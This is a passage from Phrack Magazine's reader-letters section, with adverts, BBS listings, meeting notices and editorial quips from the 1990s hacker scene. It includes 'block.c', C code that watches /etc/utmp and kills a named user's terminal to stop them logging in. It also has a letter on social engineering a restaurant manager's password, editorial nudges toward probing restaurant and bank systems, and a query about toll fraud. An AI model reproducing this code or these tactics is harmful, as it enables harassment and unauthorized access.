naked, prostrate wretch when one of them started walking around giving out business cards to anyone who admitted to having a computer and an Internet feed (these are dominatrix on the cutting edge of technology, I might add). The card reads thus:

CYBEROTICA Online

Ride the wave of erotic communication into the 21st century, as CYBEROTICA Online(tm) becomes your point‑of‑penetration into Cyberspace. Transport yourself into a universe of wild fantasyand‑fetish images, tales, and intimate, anonymous interaction with erotic‑video stars, industry insiders, and thousands of open‑minded people around the world.

Experience CYBEROTICA Online for FREE as our VIP guest while we perfect the system, and in exchange for your valued input you'll receive added VIP privileges as we grow! Contact us today for your free Infopac and Startup Software, before this opportunity ends. 212.587.0197 fax 587.0513

80 n moore st., tribecca, ny 10013 email: steffani@echonyc.com

I am sure this is just a teaser to get people on‑line and then start charging them, but I found it pretty interesting.

‑‑‑tabas

NOTE: I have no knowledge of or affiliation with the above organization and the posting of this message does not

constitute an endorsement of perversion.

[Well, hell...now I know where to go next month when I'm back in NYC. I wish I would have know about this place last time...the only places I could find for even semi‑serious sleeze was in Times Square, and I know that was way too tame and trendy to be IT. Now I know.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The earthquake in Los Angeles, California, the flood in Europe, the seemingly unstoppable war in the former Yugoslavia, the devastating fires in Australia, the flood in the Midwest of the United States of America, the devastating fires near Los Angeles, California, the rapid and appalling increase in violence in cities, towns, villages all over the world, the famines, the diseases, the rapid decline of the family unit, and the destructive earthquake in India (in 1993) are signs that this world's history is coming to a climax. The human race has trampled on God's Constitution, as given in Exodus 20:1‑17 (King James Version Bible), and Jesus is coming to set things right. These rapidly accelerating signs are an indication that Jesus is coming soon (Matthew 24).

God's Holy Spirit is gradually withdrawing its protection from the earth and the devastating events you see are demonstrations of Satan's power. All those who are not guarded by God are in danger of forever losing eternal life.

If you want to know what's about to happen, please study the books of Daniel and Revelation which are located in God's Word, the Bible. They are not sealed or closed books. They can and must be understood by all. Every word in the Bible from Genesis to Revelation is true. The Bible and the Bible only must be your guide.

When God's Law (the Constitution for the Universe) is consistently ignored, disregarded, changed, and questioned, He permits certain events to occur to wake us up. I would urge all, wherever you are and regardless of the circumstances, to directly call on Jesus and ask Him to intervene in your life. Jesus who created this planet and every living creature in it and on it, died on the cross, was raised from the dead by God the Father, and is now in Heaven interceding for you. Jesus is the only One who can rescue us from the slavery, misery, and death Satan is causing us.

For reference I'm including God's Constitution as given in the King James Version Bible. Please note that when God says the seventh day, he means Sabbath (the 7th day of the week) not Sunday (1st day of the week).

Commandment #1: Exodus 20:1‑3 (KJV) And God spake all these words, saying, I am the LORD thy God, which have brought thee out of the land of Egypt, out of the house of bondage. Thou shalt have no other gods before me.

Commandment #2: Exodus 20:4‑6 (KJV) Thou shalt not make unto thee any graven image, or any likeness of any thing that is in heaven above, or that is in the earth beneath, or that is in the water under the earth. And shewing mercy unto thousands of them that love me, and keep my commandments.

Commandment #3: Exodus 20:7 (KJV) Thou shalt not take the name of the LORD thy God in vain; for the LORD will not hold him guiltless that taketh his name in vain.

Commandment #4: Exodus 20:8‑11 (KJV) Remember the sabbath day, to keep it holy. Six days shalt thou labour, and do all thy work: But the seventh day is the sabbath of the LORD thy God: in it thou shalt not do any work, thou, nor thy son, nor thy daughter, thy manservant, nor thy maidservant, nor thy cattle, nor thy stranger that is within thy gates: For in six days the LORD made heaven and earth, the sea, and all that in them is, and rested the seventh day: wherefore the LORD blessed the sabbath day, and hallowed it.

Commandment #5: Exodus 20:12 (KJV) Honour thy father and thy mother: that thy days may be long upon the land which the LORD thy God giveth thee.

Commandment #6: Exodus 20:13 (KJV) Thou shalt not kill.

Commandment #7: Exodus 20:14 (KJV) Thou shalt not commit adultery.

Commandment #8: Exodus 20:15 (KJV) Thou shalt not steal.

Commandment #9: Exodus 20:16 (KJV) Thou shalt not bear false witness against thy neighbour.

Commandment #10: Exodus 20:17 (KJV) Thou shalt not covet thy neighbour's house, thou shalt not covet thy neighbour's wife, nor his manservant, nor his maidservant, nor his ox, nor his ass, nor any thing that is thy neighbour's.

I also recommend that the following books be obtained and closely studied:

The Great Controversy

By Ellen G. White

Review and Herald Publishing Association Hagerstown, MD 21740

The Desire of the Ages

By Ellen G. White

Review and Herald Publishing Association

Hagerstown, MD 21740

Patriarchs and Prophets

By Ellen G. White

Review and Hearld Publishing Association Hagerstown, MD 21740

Daniel and the Revelation

By Uriah Smith

Review and Herald Publishing Association Hagerstown, MD 21740

[Praise the Lord & Pass the Ammunition!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Big Brother Inside Logo

A parody of the Intel's Logo modified for the Clipper Chip is now available for use for stickers, posters, brochures etc.

The Big Brother Inside graphic files are now available at the CPSR Internet Archive ‑ ftp/gopher cpsr.org /cpsr/privacy/crypto/clipper

big_brother_inside_sticker.ps (postscript‑scale to fit your project) big_brother_inside_logo.gif (Color GIF ‑ good startup/background screen) big_brother_inside_picts_info.txt (Info on the files)

The files have also been uploaded to America Online in the Mac Telecom and Graphic Arts folders.

big_brother_inside_sticker.ps is a generic postscript file, created in CorelDraw. The postscript image lies landscape on the page, and consists of the intel‑logo's ``swoosh'' and crayon‑like lettering on the inside.

This design was originally created for the sticker project: the image was screened onto transparent stickers 1" square for the purpose of applying them to future clipper‑chip products. (cdodhner@indirect.com was in charge of that project; as far as I know he's still distributing them for a small donation to cover printing & mailing costs).

The design was created by Matt Thomlinson <phantom@u.washington.edu>

[The stickers I have made a HUGE hit among the various "select targets" at COMDEX. Get yours and join in on the fun. There are a world of mass merchant distributors waiting to be "tagged." Sounds like the SenseReal foundation would love a handful of these for those pesky Intel boxes.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HI,

1st I want to thank you for dedicating your space to the silliness and foolishness that comes with anything Sara Gordon related.

I think I should have gotten the last word but, who wants to turn this into a public feud, specially with a demented middle aged woman.

Well, Thanks anyway for including the article, I have found people in the underground who believe what I am saying, as I have no monetary interest in this unlike Mrs. Gordon.

Kohntark.

[Well Kohntark, looks like you DID get the last word. No, wait, I did.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello Chris,

I have a constant battle with some of my friends over who can ruin another person's display first. Well, if I could log them out... However, I'm afraid the program doesn't compile.

Thanks for any light you might be able to shed on the matter.

Bye!

I get these 3 errors:

"block.c", line 22.17: 1506‑030 (S) Identifier open cannot be redeclared. "block.c", line 41.18: 1506‑045 (S) Undeclared identifier user. "block.c", line 48.16: 1506‑045 (S) Undeclared identifier W_OK.

/* block.c ‑‑ prevent a user from logging in

* by Shooting Shark

* usage : block username [&]

* I suggest you run this in background.

*/

#include <stdio.h>

#include <utmp.h>

#include <ctype.h>

#include <termio.h>

#include <fcntl.h>

#define W_OK2

#define SLEEP5

#define UTMP"/etc/utmp"

#define TTY_PRE "/dev/"

main(ac,av)

int ac;

char *av[];

{

int target, fp, open();

struct utmpuser;

struct termio*opts;

char buf[30], buf2[50];

if (ac != 2) {

printf("usage : %s username\n",av[0]);

exit(‑1);

}

for (;;) {

if ((fp = open(UTMP,0)) == ‑1) {

printf("fatal error! cannot open %s.\n",UTMP);

exit(‑1);

}

while (read(fp, &user, sizeof user) > 0) {

if (isprint(user.ut_name[0])) {

if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name); sprintf(buf,"%s%s",TTY_PRE,user.ut_line);

printf("%s\n",buf);

if (access(buf,W_OK) == ‑1) {

printf("failed ‑ program aborting.\n");

exit(‑1);

}

else {

if ((target = open(buf,O_WRONLY)) != EOF) {

sprintf(buf2,"stty 0 > %s",buf);

system(buf2);

printf("killed.\n");

sleep(10);

}

} /* else */

} /* if strcmp */

} /* if isprint */

} /* while */

close(fp);

/*sleep(SLEEP); */

} /* for */

}

[Anyone want to take a crack at this?? Debug it and mail it back to us so we can forward it on...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx

IT'S BACK!!!!W$#@$#@$

_‑_‑_‑_‑_‑_

(

( B00m )

(

CAU (__ __) CAU

__\/__

"We WiLL BloW /‑‑‑/|_____|\‑‑‑‑\ uP YoUr CaR!"

/CaU‑__WuZ__‑HeRe\‑

(0) (0)

fARM R0Ad 666

*fR666.something.com* (713)855‑0261 *fR666.something.com*

CAU‑0b/GYN SySoPs: EighT BaLL kCf‑ThP‑Phrack M.C. Allah Bc0maP‑d0S/2‑Tone Drunkfux

' CAU Home ' Bc0maP Couriers Site ' cDc Factory Direct Outlet(kCf) ' 0b/GYN Member Site ' USENET, InterNet E‑Mail(s00n) ' Hack/Phreak Discussions ' Flashback Software ' ToneLoc Distribution Site ' 12oo‑14.4 bps ' Exophasia Submission Site ' 0PhiCiAl PHraCk DiSt Site ' No Ratios for non dorks

xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx

[This is 8‑Ball's bbs. Call it and watch him shoot up. Word.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackers, phone phreaks, techno‑anarchists, cyberpunks, etc.

* * * THE OFFICIAL U.K. '2600 Magazine' MONTHLY MEETINGS. * * *

Meetings are held on the first Friday of each month.

All those interested in attending will be required to meet at the Trocadero shopping centre, which is a one minute walk from the Picadilly Circus underground station, London.

The meeting point is actually inside the shopping centre, next to the Virtual Reality machines located on the bottom floor.

Anyone interested in taking part should assemble next to these machines between 7.00pm and 8.00pm.

Those who attend will then travel by tube train to a 'unknown' location for computer underground discussion, information exchange, etc.

For more information, phone 'Damian' on 071‑262‑3042, or send email to 'uabbs@works.com'

Check page '46' of your latest '2600 Magazine' for details of other meeting locations, etc.

2600 Magazine

PO Box 752

Middle Island

NY 11953

U.S.A.

Tel: +1‑516‑751‑2600 (24 hour answering system)

Fax: +1‑516‑751‑2608

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This bulletin was created by 'Phantasm' on Tuesday 08‑Feb‑94 at 11:51pm.

[You brits: GO TO THESE MEETINGS! And go trashing afterwards! And raise some hell. Throw caution to the wind. Be loud and obnoxious. Get thrown out. (Just pretend you are Americans. It works every time.) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I run a board here in the UK known as Unauthorised Access. We have been online since 1990 (the year of our anti‑hacking law's approval) and the system is now the largest computer underground board in the U.K. (2,000+ quality files and growing each day)

I also attended the HEU congress in Holland but although I spoke with Eric Corley (2600) and BillSF (Hack‑Tic), I did not know where to find you. I expect you dissappeared off to Amsterdam like so many of the other visitors to Holland.

Anyway, I noticed in your last issue (44) that you seem to have quite a few readers in the United Kingdom. I would like to tell you about my system here in the UK. (Please include this advert in your next issue of PHRACK) Thanks!

Unauthorised Access

Online 10.00pm‑7.00am GMT

Established 1990

Britain's largest computer underground system

30+ message special interest groups

2,000+ underground file online

c64/Amiga/IBM/ h/p util support

Running at 3oo/12oo/24oo/96oo HST

tel: +[44] 636‑708063

SysOp: Phantasm

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[I always dig Overseas BBSes. Unfortunately I couldn't get a strong line when I've tried to call. Geez, you would think that in this age of fiber, I may be able to connect...but noooooo. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New TimeWasters T‑shirts !

Do you know the feeling ? You're behind your terminal for hours, browsing the directories of your school's UNIX system. Instead of holes, bugs and bad file permissions you find tripwire, TCPwrapper and s/key. You run a file with a s‑bit and immediately you get a mail from the system admin asking what you are doing. In other words, no chance to ever become a good hacker there.

Now you have the chance to at least pretend to be an eleet

hacker. The Dutch hacking fanatics The TimeWasters have released the third version of their cool 'hacker' T‑shirt. Because

the previous versions were too limited (20 and 25 shirts) we printed no less than 200 shirts this time.

Of course you want to know, what does it look like ?

On the front, a TimeWasters logo in color. Below that a picture

of two hacking dudes, hanging behind their equipment, also featuring a stack of phracks, pizza boxes, beer, kodez, and various computer‑related stuff with a 'No WsWietse' sticker.

On the back, the original TimeWasters logo with the broken

clock. Below it, four original and dead funny real quotes featuring the art of Time Wasting.

Wearing this shirt can only provoke one reaction; WOW !

Imagine going up to the helpdesk wearing this shirt and

keeping a straight face while asking a security question !

And for just $2 more you'll get a pair of sunglasses with

the text 'TimeWasters' on them !

To order:

Send $20 or $22 to

TimeWasters

Postbus 402

5611 AK Eindhoven

The Netherlands, Europe

This includes shipping. Please allow some time for delivery. If you are in Holland, don't send US$, email the address below for the price in guilders and our 'postbank' number.

For more information: email to:

‑ timewasters‑request@win.tue.nl with subject: T‑SHIRT for a txtfile with more info.

‑ rob@hacktic.nl or gigawalt@win.tue.nl for questions.

[I've got one Time Wasters shirt...Now I'm gonna have to get another. Wonder if they'll trade...I know this guy who makes some damn cool shirts... but the glasses are the clincher. I'm ordering now.]

Phrack Loopback Part II / Editorial

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 3 of 28

****************************************

Phrack Loopback Part II

How sad the state of affairs is. Companies do _not_ care about security. My father would be the last one to think about ways into the "systems" that are out there. We had a good talk tonite about the lack of security in the corporate world. I told him about PGP public key encryption software, and it's political gibberish etc. Then he hits me with this outstanding story of the stupidity displayed at his credit union (AEA, yes he works in the silicon valley). He went to get some $$ at the branch office near his work, and he notices they have upgraded their computer systems. It was apparent that it was no 'internal' updating of the tellers' equipment, but a major overhaul of the entire structure at AEA credit union. This was obvious when every teller was reading manuals as they helped customers. The greatest part of his story (which made him laugh out loud) was that on the tellers' computer screens were taped up pieces of paper detailing how to access the computers at AEA. As the teller was in the back room, my dad leaned over and saw what it was, and memorized the things. Its the things like that which make me want to trust my money to fabulous behemoths like credit unions.

[That's typical. You should have gone straight to that bank and taken notes. You never know...you could have ended up with SWIFT access. Let's face it, if the BND's Project Rahab can, so can we.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TO: The Hack/Phreak Community

From: Amitech USA

Subject: Explaining About What Amitech USA IS!

Amitech is a group that teaches and learns... What I mean by this is The Hack/Phreak community should teach the inexperienced more than put them down, especially if they want to learn but no one is willing to teach them.. This is were we come in... The definition of Hacking is learning the holes in different telephone equipment and different computer equipment. People these days don't use there knowledge correctly... They abuse what they get and sometimes even harass people because of hatred and reasons of revenge.. The H/P community isn't about this... We are releasing this to invite anyone in the H/P community with a lot or little experience to join us, to learn and to teach us..

Amitech USA does not condone any board crashing, harassing, Underground Board password stealing etc. We will not be responsible or accept anyone who condones such activity....

Amitech has two levels of members.. 1. Trial members 2. Regular members. The trial members are on a basis of two weeks which in such time they have to show us that they are willing to learn and is not into the group just to use the groups name in there signature. Members decide who is acceptable for a group and who is not. Each member will get the users application except their real name and phone #. We will decide and will contact you within a week of when the application comes to me...

We are going to be mostly underground for the simple fact that the group does not need recognition. Are members may stand out but for the most part we will not be shown and or do not want to be shown for the simple fact that underground is better for the newer user as will as the older users.

Please send all applications to Either burntkid@spiff.gnu.ai.mit.edu or The Crime Scene 516‑873‑8903...Anyone who wants information may send a message. Anyone interested in joining please fill out the application below.

First Name: Handle:

Phone #: How many years experience:

Specialties: Boards you're on:

Email/Internet:

Please Spread This Message Around...

[Good luck with your group. And remember, when you're a group, you're subject to prosecution under RICO. God Bless America.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack:

I know you guys take an interest in what happens at 2600 meetings, so I thought you might like to hear about a mainstay of the Washington D.C. meeting. BTW, I am also submitting to 2600. (They should have a PGP key)

‑‑‑‑‑‑ Cut ‑‑‑‑

For the past few meetings a guy from MCI has showed up. He works at some sort of Pentagon City mall branch of MCI and on the Fridays he sticks around and gets drunk. He is usually a great source of entertainment and this time he was undoubtedly the best part of the 2600 meeting. That was the highest form of entertainment (except for the threats on The Monk's life). At a meeting before this he was saying (I'm not sure how many beers he had had) how he was going to bomb (physically) all the hackers computers by using the system batteries. And he also said something like "We didn't have time for this kind of stuff in Vietnam." Anyway, I was listening to his drunken ramblings and I was thinking "I should be writing his wisdom down." So I did, and Maverick later started to type it down. The hardest part of all of this was not laughing in his face. Here is where I started the notes:

MCI Guy: I mean it's really small, it's only like 1 microliter long. Vance: Yeah, that's pretty short.

MCI Guy: I work on computers and they go in nanoseconds.

Vance: Nanoseconds are really short.

MCI Guy: A nanosecond is about this long.

< Denotes with his fingers a length of about 6 inches > Vance: That's great if you can visualize it.

MCI Guy: Yeah, it's short. Most of the instructions that I do take less than 3 nanoseconds, and that's short. But it's still too slow.

‑‑‑ Ok, from here it somehow jumped to a discussion of Rebel Lion's modem that was sitting out:

MCI Guy: That's a good modem, it has memory because of it's external capacitance. The capacitor can store the memory since it's outside.

Vance: Yeah, it must have a lot of memory. How much would you say? MCI Guy: A lot, gigabytes of it. The computer can talk directly to it. Vance: You need software to access that, that's where the intelligence is, in 2 gigabyte capacitor technology software. MCI Guy: It's because it's outside and it has it's memory. Vance: Gigaboobs of memory. Megamammaries. It must have Megamammaries in it's external capacitance.

‑‑ At this point, everybody is cracking up, I can't believe Vance kept a straight face.

MCI Guy: Yeah. < Looking confused. >

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ After this, I was really laughing and wasn't sure of exactly what was said. But in just a few minutes, the MCI guy left to get some more beer. He didn't come back to our table, he went to another one. We ignored him for awhile. But as he was sitting there, a woman sat down next to him. She was undoubtedly a prostitute, and there were many cracks about her gigaboobs and megamammaries. She must have spotted the fact that he was wasted and was trying to make some easy cash. After a while, the MCI guy didn't bite, and her pimp came along and picked her up. (There is no other logical explanation that I can think of.) After a few minutes, we went back to the table for the final round, but Vance had left, so I conducted the search for knowledge. It starts as I was approaching the table and trying to get him to talk to me.

GD: When you were talking Rebel Lion's modem, I wasn't quite sure of what you said, could you explain it to me? < I get out my pencil and paper, like I'm taking notes on his every word. (Actually I was) >

MCI Guy: < He is giving me a look of utter contempt, like I'm just a stupid kid who is not worthy to partake in his knowledge > Well you see it's external.

GD: What do you mean? It's obviously external, but what does that mean? < Gives me another look >

‑‑‑ Maverick accidentally spills some of Mr. MCI's beer.

MCI Guy: What was that? What are you doing?!?

Maverick: I didn't do anything, you spilled it!

MCI Guy: < Just forgets about it in his drunken stupor > It has it's own memory, it doesn't have to take up the core like an internal.

GD: Core?

MCI Guy: Or something like that, you know. It's outside the main frame.

GD: Right, so it saves memory.

MCI Guy: Hmmph, I work with so much memory. I throw out tapes. GD: Tapes? You mean tape backups.

MCI Guy: Yeah.

GD: Why? Don't you want the memory?

MCI Guy: I have too much memory.

GD: Yeah, I guess you're right, if you have too much memory, it is hard to get rid of.

MCI Guy: I even use records.

GD: You mean like the spinning kind of records? On a turntable? MCI Guy: Yeah, they hold a lot of memory.

GD: Why don't you use CD's? They hold a lot more you know. MCI Guy: No they don't, you don't even know.

GD: So you are saying that records hold more than CD's?

MCI Guy: Yeah, and I can save space on records, I use "shrinker". It shrinks the space on a record.

GD: You mean shrink the space on one of those spinning records? < I was trying too hard to keep from laughing to speak articulately >

MCI Guy: It saves space by shrinking everything, and I can fit more on it.

GD: Yeah, I guess that is a good idea.

MCI Guy: < Incredulous at my stupidity >

Do you even know about comp?

GD: Comp? Sorry, I've never heard of "comp". What is it? MCI Guy: It's bits and bytes.

GD: Keep on going, I want to learn about this.

< And boy did I >

MCI Guy: 4 bytes make a bit, 2 bytes make a double word, 2 words make a double word.

GD: 2 words make a double word? Isn't that obvious since 2 means double?

MCI Guy: < Ignoring me >

It's called 32 bits. Above that you have to deal with 36 bits. GD: Ok, I get it. That's pretty cool.

MCI Guy: That's called the IBM logo.

GD: The IBM logo? It's made up of bits and bytes and comp? MCI Guy: Yeah, if you go above or below the line.

‑‑‑ Ok, at this point I was reeling from the bit‑byte‑word conversions and I didn't even want to try pursuing the "line" question since I had to leave. I really wish I could have stayed, but I also don't know how long he would have been benign; this guy was drunk and still had 2 large beers in front of him.

All through this time, people were cracking up and laughing in his face. It wasn't that hard for the guy currently talking to him to not laugh, but when you thought for a second about this guy's slurred speech and his look of superiority, it was damn hard not to laugh. And how sad is this guys life? He comes to a mall to get drunk! It must cost him $15 for those beers. Oh well, maybe we will spring for some grain alcohol next time so we can get him to say even more.

Last thing, if you are talking to a guy like this. Don't do what I did, don't confront him. You won't get as much out of him. Do what Vance did; agree with everything he says. This will get him more comfortable and he will talk more. Then give a summary of everything he said, while inserting things like "megamammaries" and "gigaboobs".

‑‑ Disclaimer: I tried to be as accurate as possible but there were some small changes made because I couldn't remember the exact wording. But overall this is fairly true to life.

[I've noticed that everyone I've ever met involved with LE or security at corporations drinks and drinks and drinks and drinks. And drinks. What's with that? Jesus...no wonder they are so slow to react. They are fucking hammered all the time. They need to invest in some stimulants. Swap that Gin & Tonic for a handful of Ephedrine or something. (Notice I said Ephedrine...gotta stay legal, eh?) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack,

I am Knightkrawler. About a month ago Mephisto, a fellow hacker friend of mine, discovered a dialup for a Taco Bell computer while scanning some numbers. Just for the hell of it, I called up the Taco Bell manager and posed as the Sys Admin. THE PHUCKER FELL FOR IT!!!!!!

Conversation

^^^^^^^^^^^^

me: Hi, I'm the SYS Admin for The Taco Bell Login. My staff and I will be running some routine diagnostics for the next week. I'll need a passwd and login name to enter the system.

Corey (the manager): Sure! My passwd is 1A2B3C, and my login name is Corey.

me: Thank you. If you need anything, you know where to reach me.

END

^^^

WHAT A DUMBASS!!! I was able to log on and Change fuckin' payrolls!!!! First thing I did was to change the price of tacos to 5 cents a piece!

What I want to know is, have any of you out there had any similar experiences with bastards like these? Are all restaurant managers so lame?

L8R,

‑=KnIgHtKrAwLeR=

[The Taco Bell SCO's have been a source of amusement for some time. It would appear that all restaurants in the PepsiCo chain have SCO's in‑house. Something to keep in mind.

And, uh, I've never seen anything that you could do like "change prices" without special terminal emulation. So, uh, don't bullshit a bullshitter. But, hey, it's a funny hack, and there are several in every city to play with, if you are so inclined.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello there, I was wondering if you could help me (wait, wait, hear me out!). I am looking for some up‑to‑date info on COSMOS. I've read all of the Phrack articles, yours in ish 31 was particularly good, and I was wondering if there have been any developments lately that I should be aware of?

Basically, I am looking for a manual that will show me how to use COSMOS. Kind of like a DOS reference guide or something similar. Your article was dated 1990, almost 4 years ago, and I'm sure there have been some new things introduced since then.

I was thinking that if you had the raw info, you could pass it along to me and I could whip up a readable format for the next issue of Phrack. Believe me, I've got far too much time on my hands. I love Phrack and would do anything to help out! Anyway, I'll cut this off here before I waste too much of your time.

Mr. Wizard

[COSMOS is being phased out. I would suggest you look for info on SWITCH. There have been some articles on it in 2600, so you may want to check some back issues. Otherwise, I'll see if I can't get some more detailed articles on its use for future Phrack issues.

But as far as COSMOS goes, I think my article from a few years back ended up as the most complete ever done, so I doubt there are any others that covered things I didn't.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VIRTUAL REALITY NOW AVAILABLE TO GENERAL PUBLIC AT CYBERMIND

What is Virtual Reality?

Virtual Reality (VR) is a computer generated, interactive 3D environment in which the computer serves as a window to an alternate reality. Once immersed in this environment, the players interact with each other as well as the computer.

Each VR system includes a head mounted display which provides a 3D graphical image along with full stereo sound. By placing the display over your eyes, you are "virtually" transported to a computer‑generated world that you control. Wherever you move, the computer tracks the movement of your body and displays the appropriate image to your eyes. (If you looked up you would see the sky. If you looked down you would see your "feet.") The unlimited choices you can make in these virtual worlds make the experience one‑of‑a‑kind.

Development of Virtual Reality: Past and Future

Early VR was confined to multi‑million dollar systems in research labs and military simulations. However, the decreasing cost of computing power and display technology, VR now has more widespread applications: entertainment, education, worker training, telerobotics, medicine, teledildonics (virtual sex) and communication, among others.

In the future, VR technology will allow you to travel, shake hands with people in other countries, walk on the moon or go shopping ‑‑ all without actually leaving the home or office.

What is CyberMind?

CyberMind is San Francisco's first location‑based virtual reality entertainment center. CyberMind center features eight interactive virtual reality machines that allow the general public to experience and learn about 3D virtual reality technology by playing imaginative, roleplaying games such as Dactyl Nightmare, Legend Quest, Flying Aces and ExoRex II.

CyberMind Virtual Reality Center

WHAT: Out of this world entertainment for families, couples, singles and groups.

WHERE: One Embarcadero, Lobby Level (second floor). At the top of the escalators.

WHEN: Normal Center Hours are 10:00 am to Midnight, seven days a week.

HOW MUCH: Normal Pricing is $5.00 per play per person for a six minute experience.

20% discount for groups over 12 persons.

CYBERMIND CENTER RENTALS: For catered parties and receptions, contact Chris Figge at 415.693.0861

WHY: It will blow your mind

CyberMind Corp: Telephone 415.693.0861. FAX: 415.693.0171.

737 Pine Street, Suite 65, San Francisco, CA 94108

[Uh, yeah. And Stand in line with Beavis & Butthead. Huh Huh, Cyber Stuff is cool. Heh heh. Cool. Yeah, I'm a Cyberpunk with $5 dollars. Let's set it on fire and throw it in the street. No, Ass Munch, you can get stuff with money. Oh yeah, heh heh heh.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack:

Sorry to inconvenience you and PGP this message, but I fail to trust the people in charge of the server in which this message is being sent from. Approximately six months ago I was playing around with the idea for a crypto‑chat program. In short: You and the other people in the chat area, (IRC for example), would pick the same password or random seed number. This would tell the chat program what algorithms to use, etc. Hence forth whatever you type is encrypted and whatever is displayed remotely is automatically decrypted.

My only problem is that I do not know enough regarding cryptology to write a very secure encryption routine. I have tried a few times to contact Cypherpunks, but to no avail, I have not received any letters back from them even regarding my request to be put on their mailing list. I write to you, Phrack, in hopes that you can set me in the correct direction for making my crypto‑chat program a reality. I feel it would be an asset to the hack/phreak community and its struggle for more privacy.

Thanx.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑guerilla AnArchy‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Actually, it wouldn't be that hard to do, but you'd probably want to do it as a DCC chat type thing, rather than going through a server at all.

I may be wrong, but I think someone may have worked on such a beast. You may want to try again to contact the cypherpunks list (cypherpunks@toad.com) (or to get added, cypherpunks‑request@toad.com) and ask around. Otherwise, use the existing DCC Chat source, but just change it to incorporate a public key exchange, and use those exchanged keys to encrypt messages. It would be harder for more than one to one chat, but hell...no pain, no gain.

Notice, I didn't volunteer to do it. Much too much work for me.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack,

Just finished reading Issue #42 (so I'm a little behind). Must say, it was very kewl. I have a little addition to the "Car Light Hack" in the Loopback section. When coming up to an intersection with the pressure sensitive panels in the tar, pump the brakes hard so the car rocks back and forth. This will fool the panel into thinking there's more weight (more cars) sitting on it and it will change the light faster. This also works great with intersections where there are two panels‑‑one at the light, and one six or seven car lengths back. Either way, the light is guaranteed to change green quickly!

[Yes. Pressure pads are quiet common. Probably much more so than the light sensors. Whatever works.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there !

Last week I got in contact with your magazine (#44) and a soft called Bluebeep, because I wanted to call BBSs all over the world. Reading Phrack, I got more interested is hacking stuff, which I do since I first touched a computer when I was 9 (now I'm 20).

So, since you offered in the magazine :), I'd like to get some info about the subject, specially about free callings. Here is the story.

Here in Brazil most of the computers have been IBM mainframes for a long time, only now changing to UNIX & LANs. Phone lines were a shit too, I could say that batter than most since my father works for the Brazilian phone co. (Embratel) And that's my point. Brazilian phone co. is (still) owned by the federal government. NEC and AT&T are trying to end the monopoly. But I think it's much easier to hack it since there aren't many hackers here and they don't do a big mess. What should I do and have to try this. See, I'm very rookie, so would like some guidelines... People here is very afraid to talk about. BTW, could a AT&T guy bust me (here, in Rio de Janeiro) for using Bluebeep in the 000‑8010 ?!?

Are there other means of doing free calls ? Embratel has it's own Calling Card...

Wish I can have your help... I'm a RPG‑fanatic and would like to connect to Illuminati BBS and others, so I could get more info.

Thanx,

[]s CAD

